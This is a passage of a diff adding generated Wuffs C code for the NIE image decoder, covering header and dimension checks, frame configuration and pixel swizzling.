sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_nie__decoder* ++wuffs_nie__decoder__alloc(void) { ++ wuffs_nie__decoder* x = ++ (wuffs_nie__decoder*)(calloc(1, sizeof(wuffs_nie__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_nie__decoder__initialize( ++ x, sizeof(wuffs_nie__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_nie__decoder(void) { ++ return sizeof(wuffs_nie__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func nie.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__get_quirk( ++ const wuffs_nie__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func nie.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__set_quirk( ++ wuffs_nie__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func nie.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_a = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_a = t_0; ++ } ++ if (v_a != 1169146734u) { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_a = t_1; ++ } ++ if (v_a == 879649535u) { ++ self->private_impl.f_pixfmt = 2164295816u; ++ } else if (v_a == 946758399u) { ++ self->private_impl.f_pixfmt = 2164308923u; ++ } else if (v_a == 879780607u) { ++ status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); ++ goto exit; ++ } else if (v_a == 946889471u) { ++ status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ v_a = t_2; ++ } ++ if (v_a > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } else if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_width = v_a; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_a = t_3; ++ } ++ if (v_a > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } else if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_a; ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ 16u, ++ false); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func nie.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_nie__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ 16u, ++ 0u, ++ false, ++ false, ++ 0u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func nie.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_nie__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y = 0u; ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ v_status = wuffs_nie__decoder__swizzle(self, a_dst, a_src); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr != wuffs_nie__note__internal_note_short_read) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func nie.decoder.swizzle ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__swizzle( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ uint32_t v_src_bytes_per_pixel = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint64_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += 1u; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; ++ } ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ v_src_bytes_per_pixel = 4u; ++ if (self->private_impl.f_pixfmt == 2164308923u) { ++ v_src_bytes_per_pixel = 8u; ++ } ++ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); ++ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); ++ v_j = v_n; ++ while (v_j >= 8u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 8u); ++ } ++ v_j -= 8u; ++ } ++ while (v_j > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 1u); ++ } ++ v_j -= 1u; ++ } ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ wuffs_base__slice_u8__subslice_i(v_dst, v_i), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ &iop_a_src, ++ io2_a_src); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_nie__note__internal_note_short_read); ++ goto ok; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func nie.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_nie__decoder__frame_dirty_rect( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func nie.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_nie__decoder__num_animation_loops( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func nie.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__num_decoded_frame_configs( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func nie.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__num_decoded_frames( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func nie.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__restart_frame( ++ wuffs_nie__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if ((a_index != 0u) || (a_io_position != 16u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} 